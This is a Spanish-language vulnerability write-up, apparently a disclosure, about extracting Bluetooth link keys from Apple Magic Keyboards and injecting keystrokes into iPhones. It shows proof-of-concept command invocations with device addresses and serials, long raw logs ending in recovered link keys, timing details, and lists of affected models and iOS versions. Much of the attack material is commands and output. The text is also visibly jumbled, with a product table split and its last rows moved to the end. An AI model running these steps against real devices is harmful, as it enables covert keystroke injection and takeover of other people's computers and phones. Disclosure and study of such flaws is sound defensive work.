- El atacante tiene un Magic Keyboard donante (que se reconfigurará temporalmente para suplantar el teclado objetivo)
#### Ejecución del PoC```
> ./read-link-key-from-mac.py --help
usage: read-link-key-from-mac.py [-h] -a KEYBOARD_ADDRESS -s KEYBOARD_SERIAL
options:
-h, --help show this help message and exit
-a KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
-s KEYBOARD_SERIAL, --keyboard_serial KEYBOARD_SERIAL
./read-link-key-from-mac.py -a 1c:57:fc:08:65:12 -s F1T2107RUNW12NXA9
#### Salida```
[2024-01-07 10:34:53.910] Turn on the donor keyboard and plug it into this computer
[2024-01-07 10:34:58.200] changing Bluetooth address from 3C:A6:F6:E1:3D:F0 to 1c:57:fc:08:65:12
[2024-01-07 10:34:58.201] serial number: F0T230C02AZ0NC1EH -> F1T2107RUNW12NXA9
[2024-01-07 10:34:58.202] Unplug the donor keyboard and plug it into the Mac.
[2024-01-07 10:34:58.202] Wait a few seconds, then plug it back into this computer.
[2024-01-07 10:35:02.533] keyboard was unplugged
[2024-01-07 10:35:13.463] keyboard has returned
[2024-01-07 10:35:13.464] Mac BT Address - a4:c3:99:e8:a8:6c
[2024-01-07 10:35:13.464] BT Link-Key - c95e3ec98809f2745d32029e7f97b67e
Cuando el Magic Keyboard está conectado al Mac, el Mac envía la clave de enlace Bluetooth al Magic Keyboard a través de USB.
La clave de enlace permanece en la memoria hasta que el Magic Keyboard se apaga, y puede leerse a través de un servicio Bluetooth HID no autenticado en el teclado.
El servicio Bluetooth HID no autenticado está disponible cuando el Magic Keyboard se desconecta del Mac, y permanece disponible hasta que se establece el enlace Bluetooth.
Se trata de un ataque de cero clics con un componente de sincronización. La PoC no implementa un disparador temporal, sino que intenta conectarse al Magic Keyboard en un bucle hasta conseguirlo.
Apple comenzó a implementar parches para el Magic Keyboard el 2024-01-09.
Los siguientes periféricos de Apple se probaron y se encontraron vulnerables a este ataque. No se probaron otros periféricos, por lo que esta lista puede estar incompleta.
| Nombre del producto | Número de modelo |
|---|---|
| Magic Keyboard | A2450 |
| Magic Keyboard with Touch ID | A2449 |
| Magic Keyboard with Numeric Keypad |
Conecta el Magic Keyboard al ordenador Linux con un cable Lightning-to-USB, y luego ejecuta el script. Una vez que el script esté en ejecución, desconecta el teclado del Mac.
Cuando se desconecta el teclado, se produce una carrera por conectarse al teclado entre la máquina del atacante y el Mac.
La PoC normalmente se conectará al Magic Keyboard ~5 o ~25 segundos después de que el teclado se desconecte del Mac. A veces el Mac gana la carrera y, cuando eso ocurre, la PoC no se completa.``` ./read-link-key-lightning.py
#### Invocación```
./read-link-key-bluetooth.py 1c:57:dc:88:55:02
[2024-01-07 13:09:59.311] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.313] ERROR connecting on port 17: timed out [2024-01-07 13:10:00.314] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:00.316] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:00.318] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.359] ERROR connecting on port 17: timed out [2024-01-07 13:10:01.361] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:01.362] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:01.364] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.407] ERROR connecting on port 17: timed out [2024-01-07 13:10:02.408] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:02.410] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:02.411] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.448] ERROR connecting on port 17: timed out [2024-01-07 13:10:03.449] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:03.451] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:03.452] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.512] ERROR connecting on port 17: timed out [2024-01-07 13:10:04.513] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:04.515] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:04.516] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.568] ERROR connecting on port 17: timed out [2024-01-07 13:10:05.569] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:05.638] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:05.640] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:06.680] ERROR connecting on port 17: timed out [2024-01-07 13:10:06.681] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:07.682] ERROR connecting on port 17: timed out [2024-01-07 13:10:07.684] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:08.685] ERROR connecting on port 17: timed out [2024-01-07 13:10:08.687] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:09.689] ERROR connecting on port 17: timed out [2024-01-07 13:10:09.690] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:10.691] ERROR connecting on port 17: timed out [2024-01-07 13:10:10.693] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:11.694] ERROR connecting on port 17: timed out [2024-01-07 13:10:11.696] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:12.697] ERROR connecting on port 17: timed out [2024-01-07 13:10:12.699] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:13.700] ERROR connecting on port 17: timed out [2024-01-07 13:10:13.702] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:14.704] ERROR connecting on port 17: timed out [2024-01-07 13:10:14.705] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:15.707] ERROR connecting on port 17: timed out [2024-01-07 13:10:15.708] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:16.709] ERROR connecting on port 17: timed out [2024-01-07 13:10:16.711] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:17.712] ERROR connecting on port 17: timed out [2024-01-07 13:10:17.714] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:18.715] ERROR connecting on port 17: timed out [2024-01-07 13:10:18.717] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:19.719] ERROR connecting on port 17: timed out [2024-01-07 13:10:19.720] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:20.722] ERROR connecting on port 17: timed out [2024-01-07 13:10:20.723] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:21.725] ERROR connecting on port 17: timed out [2024-01-07 13:10:21.726] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:22.728] ERROR connecting on port 17: timed out [2024-01-07 13:10:22.729] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:23.731] ERROR connecting on port 17: timed out [2024-01-07 13:10:23.732] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:24.734] ERROR connecting on port 17: timed out [2024-01-07 13:10:24.735] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:25.737] ERROR connecting on port 17: timed out [2024-01-07 13:10:25.738] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.739] ERROR connecting on port 17: timed out [2024-01-07 13:10:26.741] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:26.824] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 13:10:26.826] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:27.868] ERROR connecting on port 17: timed out [2024-01-07 13:10:27.869] connecting to 1c:57:dc:88:55:02 on port 17 [2024-01-07 13:10:28.262] SUCCESS! connected on port 17 [2024-01-07 13:10:28.264] connecting to 1c:57:dc:88:55:02 on port 19 [2024-01-07 13:10:28.290] SUCCESS! connected on port 19 [2024-01-07 13:10:28.291] [TX-17] 53ff34 [2024-01-07 13:10:28.346] [RX-17] 00 [2024-01-07 13:10:28.346] [TX-17] 43f0 [2024-01-07 13:10:28.414] [RX-17] a3f0340347011c57dc88550200254000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [2024-01-07 13:10:28.414] [TX-17] 53ff35 [2024-01-07 13:10:28.458] [RX-17] 00 [2024-01-07 13:10:28.458] [TX-17] 43f0 [2024-01-07 13:10:28.498] [RX-17] a3f035010150de06a8e1ca80b480523b23bbff5ea40c52e88f1905 Model 0 - Magic Keyboard BT Address - 1c:57:dc:88:55:02 Mac BT Address - 50🇩🇪06:a8:e1:ca BT Link Key - 05198fe8520ca45effbb233b5280b480
### Inyección de teclado en iOS
Cuando un iPhone intenta conectarse a un Magic Keyboard emparejado a través de Bluetooth, un atacante puede suplantar el Magic Keyboard ante el iPhone, emparejar un teclado Bluetooth virtual e inyectar pulsaciones de teclas sin confirmación del usuario.
Este ataque tiene un componente de sincronización, donde el atacante debe conectarse al iPhone en el momento preciso en que el iPhone intenta conectarse al Magic Keyboard.
El PoC incluido se activa cuando el iPhone intenta conectarse a su Magic Keyboard emparejado. Utiliza el mismo disparador de sincronización SDP que el PoC de macOS, activándose cuando el iPhone se conecta a su Magic Keyboard emparejado. Este es un ataque de cero clics que requiere observar a un usuario conectarse a su Magic Keyboard emparejado.
#### Versiones afectadas
- iOS 17 es vulnerable antes de la versión 17.2
- iOS 16 es vulnerable sin parche previsto
- iOS 15 y versiones anteriores no fueron probados
#### Estado inicial
- El iPhone está emparejado con un Magic Keyboard, y el teclado está fuera de alcance o apagado.
- Cuando el usuario intenta conectarse a su Magic Keyboard, el PoC inyecta pulsaciones de teclas para abrir un navegador web y realizar una búsqueda en Google.
#### Ejecución del PoC
**NOTA: BlueZ debe estar ejecutándose en modo de compatibilidad en la máquina del atacante para este PoC. El script del PoC para iPhone se encuentra en iphone-poc.zip**```
> ./iphone-poc.py
usage: ./iphone-poc.py <hciX> <BT_ADDR_IPHONE> <BT_ADDR_KEYBOARD>
./iphone-poc.py hci1 4C:20:B8:D6:63:45 1C:57:DC:88:55:02
| A1843 |
| Magic Keyboard with Touch ID and Numeric Keypad | A2520 |
| Magic Mouse | A1657 |